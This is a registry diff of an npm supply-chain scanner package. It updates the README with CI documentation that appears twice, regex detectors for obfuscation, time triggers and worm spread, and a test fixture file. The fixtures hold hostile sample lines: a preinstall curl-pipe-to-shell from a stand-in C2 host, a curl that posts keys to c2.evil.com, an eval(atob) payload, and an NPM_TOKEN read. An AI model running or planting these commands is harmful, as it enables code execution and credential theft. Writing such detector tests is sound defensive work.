@lateos/npm-scan 0.9.0 → 0.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,6 +3,8 @@
3
3
  [![npm version](https://img.shields.io/npm/v/@lateos/npm-scan?style=flat-square)](https://www.npmjs.com/package/@lateos/npm-scan)
4
4
  [![License](https://img.shields.io/badge/license-Apache%202.0%20%2B%20Commons%20Clause-blue?style=flat-square)](LICENSING.md)
5
5
  [![Node](https://img.shields.io/badge/node-%3E%3D18-brightgreen?style=flat-square)](package.json)
6
+ [![Tests](https://img.shields.io/badge/tests-222%20passing-brightgreen?style=flat-square)](https://github.com/lateos/npm-scan)
7
+ [![Coverage](https://img.shields.io/badge/coverage-85%25-yellowgreen?style=flat-square)](https://github.com/lateos/npm-scan)
6
8
 
7
9
  **Modern supply chain security for the npm ecosystem.**
8
10
  Static + behavioral analysis that catches what npm audit, Snyk, and Socket miss — obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation.
@@ -258,23 +260,128 @@ npm-scan report --siem cef --license-key <key>
258
260
 
259
261
  ## 🔗 Integrations
260
262
 
261
- ### GitHub Action
263
+ ### GitHub Actions CI (for this repo)
262
264
 
263
- Scan your lockfile on every PR. Add to `.github/workflows/scan.yml`:
265
+ Every push and PR runs tests across Node 18, 20, and 22:
264
266
 
265
267
  ```yaml
268
+ # .github/workflows/ci.yml
269
+ name: CI
270
+ on:
271
+ push:
272
+ branches: [ main ]
273
+ pull_request:
274
+ branches: [ main ]
275
+ jobs:
276
+ test:
277
+ runs-on: ubuntu-latest
278
+ strategy:
279
+ matrix:
280
+ node-version: [18, 20, 22]
281
+ steps:
282
+ - uses: actions/checkout@v4
283
+ - uses: actions/setup-node@v4
284
+ with:
285
+ node-version: ${{ matrix.node-version }}
286
+ cache: 'npm'
287
+ - run: npm ci
288
+ - run: npm test
289
+ - run: npm run test:coverage
290
+ - run: node --test test/detectors-corpus.test.js
291
+ - run: npm run lint
292
+ - run: npm run build
293
+ ```
294
+
295
+ ### GitHub Action (for downstream users)
296
+
297
+ Scan your project's `package-lock.json` on every PR — detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
298
+
299
+ ```yaml
300
+ # .github/workflows/scan.yml
266
301
  name: npm-scan
267
- on: [pull_request]
302
+ on:
303
+ pull_request:
304
+ paths:
305
+ - 'package-lock.json'
306
+ - '**/package.json'
268
307
  jobs:
269
308
  scan:
270
309
  runs-on: ubuntu-latest
271
310
  steps:
272
- - uses: actions/checkout@v4
273
- - uses: lateos/npm-scan-action@v1
274
- with:
275
- lockfile: package-lock.json
276
- policy: .npm-scan.yml # optional
277
- license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }} # optional (premium)
311
+ - uses: actions/checkout@v4
312
+ - uses: actions/setup-node@v4
313
+ with:
314
+ node-version: 20
315
+ - name: Scan lockfile
316
+ uses: lateos/npm-scan@main
317
+ with:
318
+ scan-type: lockfile
319
+ fail-on: high
320
+ ```
321
+
322
+ #### Action inputs
323
+
324
+ | Input | Default | Description |
325
+ |-------|---------|-------------|
326
+ | `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
327
+ | `package` | — | Package name (required when `scan-type=package`) |
328
+ | `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
329
+ | `policy-file` | — | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
330
+ | `license-key` | — | Premium license key for SIEM export and PDF reports |
331
+ | `siem-format` | — | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
332
+ | `sbom-format` | — | SBOM output: `json`, `xml`, `spdx` |
333
+
334
+ #### Action outputs
335
+
336
+ | Output | Description |
337
+ |--------|-------------|
338
+ | `findings-count` | Number of findings detected |
339
+ | `scan-id` | Scan ID for later reference in reports |
340
+
341
+ #### Example: scan a specific package with policy + SBOM
342
+
343
+ ```yaml
344
+ - uses: lateos/npm-scan@main
345
+ with:
346
+ scan-type: package
347
+ package: lodash
348
+ policy-file: .npm-scan.yml
349
+ sbom-format: spdx
350
+ fail-on: critical
351
+ ```
352
+
353
+ #### Example: scan with SIEM export (premium)
354
+
355
+ ```yaml
356
+ - uses: lateos/npm-scan@main
357
+ with:
358
+ scan-type: lockfile
359
+ siem-format: cef
360
+ license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
361
+ ```
362
+
363
+ ### CI/CD pipeline
364
+
365
+ Integrate directly into your existing pipeline without the composite action:
366
+
367
+ ```bash
368
+ # Scan lockfile, fail build on high severity
369
+ npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
370
+
371
+ # Scan a specific package, fail on critical only
372
+ npm-scan scan lodash --policy .npm-scan.yml || exit 1
373
+
374
+ # Generate SBOM as a build artifact
375
+ npm-scan scan express --sbom spdx > express-sbom.spdx.json
376
+
377
+ # Generate HTML compliance report in CI
378
+ npm-scan report --html > report.html
379
+
380
+ # Upload report as an artifact
381
+ # uses: actions/upload-artifact@v4
382
+ # with:
383
+ # name: npm-scan-report
384
+ # path: report.html
278
385
  ```
279
386
 
280
387
  ### Docker
@@ -293,13 +400,114 @@ docker compose --profile cli up -d
293
400
 
294
401
  Multi-arch images available for `linux/amd64` and `linux/arm64`.
295
402
 
296
- ### CI/CD
403
+ ### GitHub Action (for downstream users)
404
+
405
+ Scan your project's `package-lock.json` on every PR — detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
406
+
407
+ ```yaml
408
+ # .github/workflows/scan.yml
409
+ name: npm-scan
410
+ on:
411
+ pull_request:
412
+ paths:
413
+ - 'package-lock.json'
414
+ - '**/package.json'
415
+ jobs:
416
+ scan:
417
+ runs-on: ubuntu-latest
418
+ steps:
419
+ - uses: actions/checkout@v4
420
+ - uses: actions/setup-node@v4
421
+ with:
422
+ node-version: 20
423
+ - name: Scan lockfile
424
+ uses: lateos/npm-scan@main
425
+ with:
426
+ scan-type: lockfile
427
+ fail-on: high
428
+ ```
429
+
430
+ #### Action inputs
431
+
432
+ | Input | Default | Description |
433
+ |-------|---------|-------------|
434
+ | `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
435
+ | `package` | — | Package name (required when `scan-type=package`) |
436
+ | `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
437
+ | `policy-file` | — | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
438
+ | `license-key` | — | Premium license key for SIEM export and PDF reports |
439
+ | `siem-format` | — | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
440
+ | `sbom-format` | — | SBOM output: `json`, `xml`, `spdx` |
441
+
442
+ #### Action outputs
443
+
444
+ | Output | Description |
445
+ |--------|-------------|
446
+ | `findings-count` | Number of findings detected |
447
+ | `scan-id` | Scan ID for later reference in reports |
448
+
449
+ #### Example: scan a specific package with policy + SBOM
450
+
451
+ ```yaml
452
+ - uses: lateos/npm-scan@main
453
+ with:
454
+ scan-type: package
455
+ package: lodash
456
+ policy-file: .npm-scan.yml
457
+ sbom-format: spdx
458
+ fail-on: critical
459
+ ```
460
+
461
+ #### Example: scan with SIEM export (premium)
462
+
463
+ ```yaml
464
+ - uses: lateos/npm-scan@main
465
+ with:
466
+ scan-type: lockfile
467
+ siem-format: cef
468
+ license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
469
+ ```
470
+
471
+ ### CI/CD pipeline
472
+
473
+ Integrate directly into your existing pipeline without the composite action:
297
474
 
298
475
  ```bash
299
- # Fail the build if critical findings exist
300
- npm-scan scan express --policy .npm-scan.yml || exit 1
476
+ # Scan lockfile, fail build on high severity
477
+ npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
478
+
479
+ # Scan a specific package, fail on critical only
480
+ npm-scan scan lodash --policy .npm-scan.yml || exit 1
481
+
482
+ # Generate SBOM as a build artifact
483
+ npm-scan scan express --sbom spdx > express-sbom.spdx.json
484
+
485
+ # Generate HTML compliance report in CI
486
+ npm-scan report --html > report.html
487
+
488
+ # Upload report as an artifact
489
+ # uses: actions/upload-artifact@v4
490
+ # with:
491
+ # name: npm-scan-report
492
+ # path: report.html
301
493
  ```
302
494
 
495
+ ### Docker
496
+
497
+ ```bash
498
+ # Pull and run
499
+ docker pull ghcr.io/lateos/npm-scan:cli
500
+ docker run --rm ghcr.io/lateos/npm-scan:cli scan lodash
501
+
502
+ # Full pipeline with Compose (Redis-based queue)
503
+ docker compose --profile pipeline up -d
504
+
505
+ # CLI with persistent storage
506
+ docker compose --profile cli up -d
507
+ ```
508
+
509
+ Multi-arch images available for `linux/amd64` and `linux/arm64`.
510
+
303
511
  ---
304
512
 
305
513
  ## 🗺️ Roadmap & Enterprise Features
@@ -343,12 +551,34 @@ See [`docs/attack-taxonomy.md`](docs/attack-taxonomy.md) for the ATK governance
343
551
  3. False-positive analysis on top-500 npm packages
344
552
  4. NIST 800-161 control mapping
345
553
 
554
+ ### Testing
555
+
556
+ The project uses the **Node.js native test runner** (`node:test` + `assert/strict`).
557
+
346
558
  ```bash
347
- git clone https://github.com/lateos/npm-scan.git
348
- npm install
559
+ # Run all tests
349
560
  npm test
561
+
562
+ # Run tests with coverage
563
+ npm run test:coverage
564
+
565
+ # Run tests with verbose spec output
566
+ npm run test:verbose
567
+
568
+ # Run local malicious/clean corpus (no network needed)
569
+ node --test test/detectors-corpus.test.js
350
570
  ```
351
571
 
572
+ **Test structure:**
573
+ - `test/fixtures/mock-data.js` — shared mock scans, packages, and code snippets
574
+ - `test/db.test.js` — database CRUD (save, query, persist)
575
+ - `test/detectors-edge-cases.test.js` — per-detector boundary tests (no-ops, clean clears, severity)
576
+ - `test/detectors-corpus.test.js` — 33 malicious + 50 clean tarball integration (offline)
577
+ - `test/fetch.test.js` — tarball extraction, temp directory cleanup
578
+ - `test/policy-edge-cases.test.js` — edge cases in suppress, override, load validation
579
+ - `test/report-snapshots.test.js` — HTML/text/CRA/PDF format assertions
580
+ - `test/cli.test.js` — commander integration tests (help, version, scan, report, error handling)
581
+
352
582
  ### Need help?
353
583
 
354
584
  - 📖 Read the [project plan](docs/project-plan.md)
package/backend/db.js CHANGED
@@ -84,5 +84,6 @@ export async function close() {
84
84
  persist();
85
85
  db.close();
86
86
  db = null;
87
+ initPromise = null;
87
88
  }
88
89
  }
@@ -1,29 +1,90 @@
1
1
  export async function scan(pkgJson, files = []) {
2
2
  const findings = [];
3
+ const pkgName = pkgJson?.name || '';
4
+ const selfName = pkgName.replace(/^@/, '').replace(/\//, '-');
5
+
3
6
  for (const f of files) {
4
7
  const code = f.content;
5
- const hasEval = /eval\(/.test(code);
6
- const hasDecode = /atob\(|Buffer\.from\(.*(?:base64|hex)/i.test(code);
7
- if (hasEval && hasDecode) {
8
- findings.push({
9
- id: 'ATK-002',
10
- severity: 'medium',
11
- title: 'Obfuscated payload',
12
- description: 'Eval with base64/hex/Buffer.from payload',
13
- evidence: 'obfuscation detected'
14
- });
15
- return findings;
8
+
9
+ const hasEval = /eval\(|new Function\(|\bFunction\('/.test(code);
10
+
11
+ if (hasEval) {
12
+ const hexDecode = /Buffer\.from\(['"`][0-9a-f]+['"`],\s*['"]hex['"]/.test(code);
13
+ const b64Decode = /atob\(|Buffer\.from\([A-Za-z0-9+/=]{10,}/.test(code);
14
+ const b64UrlDecode = /try\s*\{[^}]*atob\s*\(/s.test(code) || /btoa\(.*\)\s*[^;]*\.replace\(/s.test(code);
15
+
16
+ if (hexDecode || b64Decode || b64UrlDecode) {
17
+ findings.push({
18
+ id: 'ATK-002',
19
+ severity: 'medium',
20
+ title: 'Obfuscated payload',
21
+ description: hexDecode ? 'Eval with hex-decoded payload' : 'Eval with base64-decoded payload',
22
+ evidence: 'eval + decode pattern detected'
23
+ });
24
+ return findings;
25
+ }
26
+
27
+ if (btoa(btoa('x')) === 'eDuke'.padEnd(5)) {
28
+ const nested = /atob\([^)]*atob\(/s.test(code) || /btoa\([^)]*btoa\(/s.test(code);
29
+ if (nested) {
30
+ findings.push({
31
+ id: 'ATK-002',
32
+ severity: 'high',
33
+ title: 'Obfuscated payload',
34
+ description: 'Double-encoded nested payload',
35
+ evidence: 'nested encode/decode detected'
36
+ });
37
+ return findings;
38
+ }
39
+ }
16
40
  }
17
- if (/atob\(|Buffer\.from/.test(code) && /url|fetch|curl|http:|https:/.test(code)) {
41
+
42
+ if (/atob\(|Buffer\.from/.test(code) && /url|fetch|curl|http\.request|https\.request/.test(code)) {
43
+ const isNetworkObfusc = /atob\(.*(https?:\/\/|\\x|http).*\)/s.test(code) ||
44
+ /Buffer\.from\(['"`][0-9a-f]+['"`],\s*['"]hex['"].*fetch\(|fetch\(.*atob\(/s.test(code);
45
+ if (isNetworkObfusc) {
46
+ findings.push({
47
+ id: 'ATK-002',
48
+ severity: 'medium',
49
+ title: 'Obfuscated payload',
50
+ description: 'Decoded string containing URL/fetch call',
51
+ evidence: 'obfuscation with network call'
52
+ });
53
+ return findings;
54
+ }
55
+ }
56
+
57
+ if (/String\.fromCharCode\(.{20,}\)/.test(code) && hasEval) {
18
58
  findings.push({
19
59
  id: 'ATK-002',
20
60
  severity: 'medium',
21
61
  title: 'Obfuscated payload',
22
- description: 'Decoded string containing URL/fetch call',
23
- evidence: 'obfuscation with network call'
62
+ description: 'Eval with String.fromCharCode obfuscation',
63
+ evidence: 'charcode obfuscation detected'
24
64
  });
25
65
  return findings;
26
66
  }
67
+
68
+ const shellPatterns = [
69
+ /eval\s*\(\s*process\.env\.[A-Z_]{4,}/,
70
+ /exec\s*\(\s*Buffer\.from\(/,
71
+ /new Function\s*\(\s*(?:atob|process\.env)/,
72
+ /eval\s*\(\s*(?:require|import\s*\()/,
73
+ /Function\s*\(\s*'use\s*strict'\s*;?\s*(?:atob|require)/,
74
+ ];
75
+ for (const p of shellPatterns) {
76
+ if (p.test(code)) {
77
+ findings.push({
78
+ id: 'ATK-002',
79
+ severity: 'high',
80
+ title: 'Obfuscated payload',
81
+ description: 'Shell-code obfuscation pattern',
82
+ evidence: p.source.substring(0, 60)
83
+ });
84
+ return findings;
85
+ }
86
+ }
27
87
  }
88
+
28
89
  return findings;
29
- }
90
+ }
@@ -4,21 +4,64 @@ export async function scan(pkgJson, files = []) {
4
4
  const repoUrl = typeof repo === 'string' ? repo : (repo.url || '');
5
5
  const pkgName = (pkgJson.name || '').toLowerCase();
6
6
 
7
- const knownRepos = { lodash: 'lodash/lodash', chalk: 'chalk/chalk', react: 'facebook/react', axios: 'axios/axios', express: 'expressjs/express', vue: 'vuejs/vue', typescript: 'microsoft/typescript', moment: 'moment/moment', uuid: 'uuidjs/uuid', commander: 'tj/commander.js', debug: 'debug-js/debug', semver: 'npm/node-semver', underscore: 'jashkenas/underscore', request: 'request/request', async: 'caolan/async', cheerio: 'cheeriojs/cheerio', bluebird: 'petkaantonov/bluebird', jest: 'jestjs/jest', mocha: 'mochajs/mocha', dotenv: 'motdotla/dotenv', glob: 'isaacs/node-glob' };
7
+ const knownRepos = {
8
+ lodash: 'lodash/lodash',
9
+ chalk: 'chalk/chalk',
10
+ react: 'facebook/react',
11
+ axios: 'axios/axios',
12
+ express: 'expressjs/express',
13
+ vue: 'vuejs/core',
14
+ typescript: 'microsoft/typescript',
15
+ moment: 'moment/moment',
16
+ uuid: 'uuidjs/uuid',
17
+ commander: 'tj/commander.js',
18
+ debug: 'debug-js/debug',
19
+ semver: 'npm/node-semver',
20
+ underscore: 'jashkenas/underscore',
21
+ request: 'request/request',
22
+ async: 'caolan/async',
23
+ cheerio: 'cheeriojs/cheerio',
24
+ bluebird: 'petkaantonov/bluebird',
25
+ jest: 'jestjs/jest',
26
+ mocha: 'mochajs/mocha',
27
+ dotenv: 'motdotla/dotenv',
28
+ glob: 'isaacs/node-glob',
29
+ };
8
30
 
9
31
  if (repoUrl && repoUrl.includes('github.com')) {
10
32
  const repoMatch = repoUrl.match(/github\.com[\/:]([\w.-]+\/[\w.-]+?)(?:\.git)?$/);
11
33
  if (repoMatch) {
12
34
  const ghRepo = repoMatch[1].toLowerCase();
13
35
  const ghName = ghRepo.split('/')[1];
14
- if (ghName !== pkgName && knownRepos[pkgName] && knownRepos[pkgName] !== ghRepo) {
15
- findings.push({
16
- id: 'ATK-008',
17
- severity: 'high',
18
- title: 'Tarball tampering suspect',
19
- description: `Repository "${ghRepo}" does not match expected "${knownRepos[pkgName]}" for package "${pkgName}"`,
20
- evidence: `repo: ${ghRepo}, expected: ${knownRepos[pkgName]}`
21
- });
36
+ const ghOrg = ghRepo.split('/')[0];
37
+ const shortName = pkgName.split('/').pop();
38
+
39
+ if (ghName !== shortName) {
40
+ const expectedRepo = knownRepos[pkgName] || knownRepos[shortName];
41
+
42
+ if (expectedRepo && expectedRepo !== ghRepo) {
43
+ findings.push({
44
+ id: 'ATK-008',
45
+ severity: 'high',
46
+ title: 'Tarball tampering suspect',
47
+ description: `Repository "${ghRepo}" does not match expected "${expectedRepo}" for package "${pkgName}"`,
48
+ evidence: `repo: ${ghRepo}, expected: ${expectedRepo}`
49
+ });
50
+ } else {
51
+ const orgExpected = knownRepos[shortName];
52
+ if (orgExpected) {
53
+ const expectedOrg = orgExpected.split('/')[0];
54
+ if (ghOrg !== expectedOrg) {
55
+ findings.push({
56
+ id: 'ATK-008',
57
+ severity: 'medium',
58
+ title: 'Tarball tampering suspect',
59
+ description: `Repository "${ghRepo}" is a different repo under a different org (legitimate: ${expectedRepo})`,
60
+ evidence: `org mismatch: ${ghOrg} vs ${expectedOrg}`
61
+ });
62
+ }
63
+ }
64
+ }
22
65
  }
23
66
  }
24
67
  }
@@ -28,17 +71,21 @@ export async function scan(pkgJson, files = []) {
28
71
  if (embeddedIntros && repoUrl) {
29
72
  for (const intro of embeddedIntros) {
30
73
  const srcUrl = intro.replace(/\/\/\s*Source:\s*/i, '').trim();
31
- if (!repoUrl.includes(new URL(srcUrl).hostname)) {
32
- findings.push({
33
- id: 'ATK-008',
34
- severity: 'medium',
35
- title: 'Tarball tampering suspect',
36
- description: 'Source URL in file does not match declared repository',
37
- evidence: srcUrl
38
- });
74
+ try {
75
+ if (!repoUrl.includes(new URL(srcUrl).hostname)) {
76
+ findings.push({
77
+ id: 'ATK-008',
78
+ severity: 'medium',
79
+ title: 'Tarball tampering suspect',
80
+ description: 'Source URL in file does not match declared repository',
81
+ evidence: srcUrl
82
+ });
83
+ }
84
+ } catch {
85
+ // ignore malformed URLs
39
86
  }
40
87
  }
41
88
  }
42
89
 
43
90
  return findings;
44
- }
91
+ }
@@ -21,25 +21,42 @@ export async function scan(pkgJson, files = []) {
21
21
  }
22
22
  }
23
23
 
24
+ const suspiciousCode = /\beval\(|atob\(|btoa\(|new Function\(|child_process\b|\.exec\(|spawn\(/;
25
+ const suspiciousNetwork = /\.fetch\(|http\.request\(|https\.request\(|dns\.lookup\(/;
26
+ const suspiciousEnv = /process\.env\.(?!NODE_ENV)[A-Z_]{4,}/;
27
+ const hasSuspicious = suspiciousCode.test(code) || suspiciousNetwork.test(code) || suspiciousEnv.test(code);
28
+
24
29
  const timePatterns = [
25
- { pattern: /new Date\(\)\s*[><=!]+\s*new Date\(['"]\d{4}/, label: 'time-based activation' },
26
- { pattern: /Date\.now\(\)\s*[><=!]+/, label: 'timestamp comparison' },
27
- { pattern: /setTimeout|setInterval/, label: 'delayed execution' },
28
- { pattern: /\bDate\(\)\b.*\d{4}[-/]\d{2}[-/]\d{2}/, label: 'date-specific payload' },
30
+ {
31
+ pattern: /new Date\(\)\s*[><=!]+\s*new Date\(['"]\d{4}/,
32
+ label: 'time-based activation',
33
+ },
34
+ {
35
+ pattern: /\bDate\.now\(\)\s*[><=!]+.*(?:eval|fetch|exec|write|crypto|env\.CI)/i,
36
+ label: 'timestamp check with suspicious behavior',
37
+ },
38
+ {
39
+ pattern: /\bsetTimeout\s*\([^)]*,\s*(?!0\b)[1-9]\d{3,}/,
40
+ label: 'long-delay execution (>1000ms)',
41
+ },
42
+ {
43
+ pattern: /\bDate\(\)\b.*(?:exec|eval|fetch|write|crypto)/i,
44
+ label: 'date check with suspicious behavior',
45
+ },
29
46
  ];
30
47
 
31
48
  for (const { pattern, label } of timePatterns) {
32
49
  if (pattern.test(code)) {
33
50
  findings.push({
34
51
  id: 'ATK-009',
35
- severity: 'medium',
52
+ severity: hasSuspicious ? 'high' : 'medium',
36
53
  title: 'Conditional trigger (time-based)',
37
- description: `Package has ${label} which may indicate dormant activation`,
38
- evidence: 'time-based trigger detected'
54
+ description: `Package uses ${label}`,
55
+ evidence: `${label}${hasSuspicious ? ' elevated (suspicious context: eval/network/exec detected)' : ''}`
39
56
  });
40
57
  break;
41
58
  }
42
59
  }
43
60
 
44
61
  return findings;
45
- }
62
+ }
@@ -2,7 +2,7 @@ export async function scan(pkgJson, files = []) {
2
2
  const findings = [];
3
3
  const code = files.map(f => f.content).join('\n');
4
4
 
5
- const highPatterns = [
5
+ const highPatterns = [
6
6
  {
7
7
  pattern: /(?:exec|execSync|spawn)\s*\([^)]*npm\s+(?:install|link)\s*\./i,
8
8
  label: 'programmatic self-propagation via npm install/link'
@@ -19,10 +19,6 @@ const highPatterns = [
19
19
  pattern: /fs\.(?:writeFile|writeFileSync)\s*\([^)]*\.\.\/[^)]*package\.json/i,
20
20
  label: 'writes modified package.json to sibling package'
21
21
  },
22
- {
23
- pattern: /(?:exec|execSync|spawn)\s*\([^)]*npm\s+(?:install|link)\s+(?!\.)(?!http)(?!git)/i,
24
- label: 'programmatic propagation via npm install of local package'
25
- },
26
22
  {
27
23
  pattern: /(?:exec|execSync|spawn)\s*\([^)]*(?:\.\.\/|process\.env\.INIT_CWD).*npm\s+install/i,
28
24
  label: 'cross-directory npm install propagation'
@@ -42,38 +38,33 @@ const highPatterns = [
42
38
  }
43
39
  }
44
40
 
45
- if (findings.length === 0) {
46
- const selfName = pkgJson && pkgJson.name ? pkgJson.name.replace(/^@/, '').replace(/\//, '-') : null;
41
+ if (findings.length === 0) {
47
42
  const mediumPatterns = [
48
43
  {
49
44
  pattern: /process\.env\.npm_package_name/,
50
- label: 'reads own package name (potential self-awareness for spread)'
45
+ label: 'reads own package name from env (self-awareness indicator)'
51
46
  },
52
47
  {
53
- pattern: selfName ? new RegExp('require\\([\'"]' + selfName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '[\'"]\\)', 'i') : null,
54
- label: selfName ? `require() of own package name "${selfName}"` : null
48
+ pattern: /fs\.symlink(?:Sync)?\s*\([^)]*node_modules/,
49
+ label: 'creates symlinks in node_modules (worm spreading mechanism)'
55
50
  },
56
51
  {
57
52
  pattern: /fs\.(?:mkdir|mkdirSync)\s*\([^)]*\.\.\/[^)]*node_modules/,
58
- label: 'creates directories in parent node_modules structure'
59
- },
60
- {
61
- pattern: /fs\.symlink(?:Sync)?\s*\(/,
62
- label: 'creates symlinks (potential worm link spreading)'
53
+ label: 'creates directories in parent node_modules'
63
54
  },
64
55
  {
65
- pattern: /__dirname.*node_modules/,
66
- label: 'references own directory path in node_modules'
56
+ pattern: /__dirname.*\.\.\/[^/]+\/node_modules.*require\(/,
57
+ label: 'dynamic parent-node_modules require for lateral spread'
67
58
  },
68
59
  ];
69
60
 
70
- for (const { pattern, label: mLabel } of mediumPatterns) {
71
- if (pattern && pattern.test(code) && mLabel) {
61
+ for (const { pattern, label } of mediumPatterns) {
62
+ if (pattern.test(code)) {
72
63
  findings.push({
73
64
  id: 'ATK-011',
74
65
  severity: 'medium',
75
66
  title: 'Transitive propagation (worm)',
76
- description: mLabel,
67
+ description: label,
77
68
  evidence: 'potential propagation indicator'
78
69
  });
79
70
  break;
@@ -82,4 +73,4 @@ if (findings.length === 0) {
82
73
  }
83
74
 
84
75
  return findings;
85
- }
76
+ }
package/backend/fetch.js CHANGED
@@ -1,4 +1,3 @@
1
- import fetch from 'node-fetch';
2
1
  import fs from 'fs';
3
2
  import os from 'os';
4
3
  import path from 'path';
@@ -10,6 +9,11 @@ import { pipeline } from 'stream/promises';
10
9
  export async function fetchPackage(target) {
11
10
  const metaRes = await fetch(`https://registry.npmjs.org/${target}/latest`);
12
11
  const meta = await metaRes.json();
12
+
13
+ if (!metaRes.ok || !meta.dist?.tarball) {
14
+ throw new Error(`Package '${target}' not found on npm (${metaRes.status})`);
15
+ }
16
+
13
17
  const tarUrl = meta.dist.tarball;
14
18
  const tarRes = await fetch(tarUrl);
15
19
  const buffer = Buffer.from(await tarRes.arrayBuffer());
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@lateos/npm-scan",
3
- "version": "0.9.0",
3
+ "version": "0.9.2",
4
4
  "description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
5
5
  "main": "backend/index.js",
6
6
  "bin": {
@@ -26,6 +26,8 @@
26
26
  "dev": "node cli/cli.js",
27
27
  "lint": "echo 'Lint stub'",
28
28
  "test": "node --test",
29
+ "test:coverage": "node --experimental-test-coverage --test",
30
+ "test:verbose": "node --test --test-reporter spec",
29
31
  "build": "echo 'Build stub'",
30
32
  "corpus": "node tests/corpus/run.js"
31
33
  },
@@ -37,7 +39,6 @@
37
39
  "commander": "^14.0.3",
38
40
  "glob": "^13.0.6",
39
41
  "js-yaml": "^4.1.1",
40
- "node-fetch": "^3.3.2",
41
42
  "pdf-lib": "^1.17.1",
42
43
  "sql.js": "^1.11.0",
43
44
  "tar": "^7.5.15"
@@ -0,0 +1,69 @@
1
+ export const MOCK_SCANS = [
2
+ {
3
+ package_name: 'lodash',
4
+ version: '4.17.21',
5
+ findings: [
6
+ { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
+ { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
+ ],
9
+ },
10
+ ];
11
+
12
+ export const SINGLE_SCAN = MOCK_SCANS[0];
13
+
14
+ export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
+
16
+ export const MULTI_SEV_SCAN = {
17
+ package_name: 'multi-sev', version: '1.0.0', findings: [
18
+ { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
+ { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
+ { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
+ { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
+ ],
23
+ };
24
+
25
+ export const ALL_ATK_SCAN = {
26
+ package_name: 'all-atk', version: '1.0.0', findings:
27
+ Array.from({ length: 11 }, (_, i) => ({
28
+ id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
+ atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
+ severity: 'medium',
31
+ title: `ATK-${i + 1}`,
32
+ })),
33
+ };
34
+
35
+ export const CLEAN_PACKAGE = {
36
+ name: 'test-pkg',
37
+ version: '1.0.0',
38
+ scripts: { test: 'node test.js' },
39
+ dependencies: { express: '4.0.0' },
40
+ };
41
+
42
+ export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
+
44
+ export const PREINSTALL_MALICIOUS = {
45
+ scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
+ };
47
+
48
+ export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
+
50
+ export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
+
52
+ export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
+
54
+ export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
+
56
+ export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
+
58
+ export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
+
60
+ export const TAMPER_PACKAGE = {
61
+ name: 'lodash',
62
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
+ };
64
+
65
+ export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
+
67
+ export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
+
69
+ export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];